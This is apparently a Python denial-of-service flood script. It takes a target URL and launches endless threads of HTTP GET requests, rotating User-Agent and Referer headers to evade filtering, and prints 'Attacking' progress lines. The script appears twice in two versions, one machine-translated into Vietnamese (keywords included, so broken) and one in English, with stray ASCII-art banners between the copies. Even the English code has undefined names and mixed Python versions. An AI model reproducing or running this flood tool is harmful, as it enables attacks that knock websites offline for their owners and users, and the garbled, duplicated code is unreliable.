____// ____/ ____/ ____// ____////
\// __/// __/ __// __// __// __/
\ / / / ___ / / / ___ / / / ___ / / / ___ / / /
\/_____/\/_____/\/_____/\/_____/\/"" ""
Nếu len (sys.argv)! = 2:
Cách sử dụng ()
Thoát (0)
Url = sys.argv [1]
Host = re.findall (': // (.*?) \.', Url) [0]
Nếu không chủ nhà:
In 'URL không hợp lệ'
Thoát (0)
def tấn công ():
Trong khi đúng:
Nếu không an toàn:
Set_useragent ()
Set_referer ()
Nếu không phải cờ:
Set_flag (1)
khác:
Set_flag (0)
req = urlopen (buildRequest ())
Nếu req.getcode ()! = 200:
Set_safe ()
def set_useragent ():
Tiêu đề toàn cầu_useragents
useragent = Random.choice (Headers_useragents)
tiêu đề ['người dùng-tác nhân'] = userAgent
def set_referer ():
Tiêu đề toàn cầu_referers
người giới thiệu = ngẫu nhiên.choice (headers_referers)
tiêu đề ['người giới thiệu'] = người giới thiệu
def buildRequest ():
request = 'get / http / 1.1 \ r \ nHost:' + host + '\ r \ n'
Yêu cầu + = 'người dùng-Agent:' + Tiêu đề ['người dùng-Agent'] + '\ r \ n'
Yêu cầu + = 'Người giới thiệu:' + Tiêu đề ['Người giới thiệu'] + '\ R \ N'
Yêu cầu += 'Kết nối: Đóng \ r \ n \ r \ n'
Yêu cầu trả lại)
def main ():
Global request_Count
Trong khi đúng:
Đối với tôi trong phạm vi (0, 100):
Chủ đề = Threading.Thread (Target = Attack)
Chủ đề.start ()
Request_Count = 0
Trong khi request_count <100:
vượt qua
in ('tấn công' + url + 'với' + str (request_corer) + 'yêu cầu')))
chủ yếu ()
=======================================
____/ / ____/ ____/ ____/ / ____/ /
\/ / __/ / / __/ __/ / __/ / __/ / __/
\/ / /___/ / /___/ / /___/ / /___/ /
\/_____/\/_____/\/_____/\/_____/\/ """
if len (sys.argv) != 2:
Usage ()
Exit (0)
URL = sys.argv[1]
Host = re.findall ('://(.*?)\.', URL)[0]
if not Host:
Print 'Invalid URL'
Exit (0)
def attack ():
while True:
if not Safe:
Set_useragent ()
Set_referer ()
if not flag:
Set_flag (1)
else:
Set_flag (0)
req = urlopen (buildrequest ())
if req.getcode () != 200:
Set_safe ()
def set_useragent ():
global headers_useragents
useragent = random.choice (headers_useragents)
headers['User-Agent'] = useragent
def set_referer ():
global headers_referers
referer = random.choice (headers_referers)
headers['Referer'] = referer
def buildrequest ():
request = 'GET / HTTP/1.1\r\nHost: ' + Host + '\r\n'
request += 'User-Agent: ' + headers['User-Agent'] + '\r\n'
request += 'Referer: ' + headers['Referer'] + '\r\n'
request += 'Connection: close\r\n\r\n'
return (request)
def main ():
global Request_counter
while True:
for i in range (0, 100):
Thread = threading.Thread (target=attack)
Thread.start ()
Request_counter = 0
while Request_counter < 100:
pass
print ('Attacking ' + URL + ' with ' + str (Request_counter) + ' requests')
main ()
\// __/// __/ __// __// __// __/
\ / / / ___ / / / ___ / / / ___ / / / ___ / / /
\/_____/\/_____/\/_____/\/_____/\/"" ""
Nếu len (sys.argv)! = 2:
Cách sử dụng ()
Thoát (0)
Url = sys.argv [1]
Host = re.findall (': // (.*?) \.', Url) [0]
Nếu không chủ nhà:
In 'URL không hợp lệ'
Thoát (0)
def tấn công ():
Trong khi đúng:
Nếu không an toàn:
Set_useragent ()
Set_referer ()
Nếu không phải cờ:
Set_flag (1)
khác:
Set_flag (0)
req = urlopen (buildRequest ())
Nếu req.getcode ()! = 200:
Set_safe ()
def set_useragent ():
Tiêu đề toàn cầu_useragents
useragent = Random.choice (Headers_useragents)
tiêu đề ['người dùng-tác nhân'] = userAgent
def set_referer ():
Tiêu đề toàn cầu_referers
người giới thiệu = ngẫu nhiên.choice (headers_referers)
tiêu đề ['người giới thiệu'] = người giới thiệu
def buildRequest ():
request = 'get / http / 1.1 \ r \ nHost:' + host + '\ r \ n'
Yêu cầu + = 'người dùng-Agent:' + Tiêu đề ['người dùng-Agent'] + '\ r \ n'
Yêu cầu + = 'Người giới thiệu:' + Tiêu đề ['Người giới thiệu'] + '\ R \ N'
Yêu cầu += 'Kết nối: Đóng \ r \ n \ r \ n'
Yêu cầu trả lại)
def main ():
Global request_Count
Trong khi đúng:
Đối với tôi trong phạm vi (0, 100):
Chủ đề = Threading.Thread (Target = Attack)
Chủ đề.start ()
Request_Count = 0
Trong khi request_count <100:
vượt qua
in ('tấn công' + url + 'với' + str (request_corer) + 'yêu cầu')))
chủ yếu ()
=======================================
____/ / ____/ ____/ ____/ / ____/ /
\/ / __/ / / __/ __/ / __/ / __/ / __/
\/ / /___/ / /___/ / /___/ / /___/ /
\/_____/\/_____/\/_____/\/_____/\/ """
if len (sys.argv) != 2:
Usage ()
Exit (0)
URL = sys.argv[1]
Host = re.findall ('://(.*?)\.', URL)[0]
if not Host:
Print 'Invalid URL'
Exit (0)
def attack ():
while True:
if not Safe:
Set_useragent ()
Set_referer ()
if not flag:
Set_flag (1)
else:
Set_flag (0)
req = urlopen (buildrequest ())
if req.getcode () != 200:
Set_safe ()
def set_useragent ():
global headers_useragents
useragent = random.choice (headers_useragents)
headers['User-Agent'] = useragent
def set_referer ():
global headers_referers
referer = random.choice (headers_referers)
headers['Referer'] = referer
def buildrequest ():
request = 'GET / HTTP/1.1\r\nHost: ' + Host + '\r\n'
request += 'User-Agent: ' + headers['User-Agent'] + '\r\n'
request += 'Referer: ' + headers['Referer'] + '\r\n'
request += 'Connection: close\r\n\r\n'
return (request)
def main ():
global Request_counter
while True:
for i in range (0, 100):
Thread = threading.Thread (target=attack)
Thread.start ()
Request_counter = 0
while Request_counter < 100:
pass
print ('Attacking ' + URL + ' with ' + str (Request_counter) + ' requests')
main ()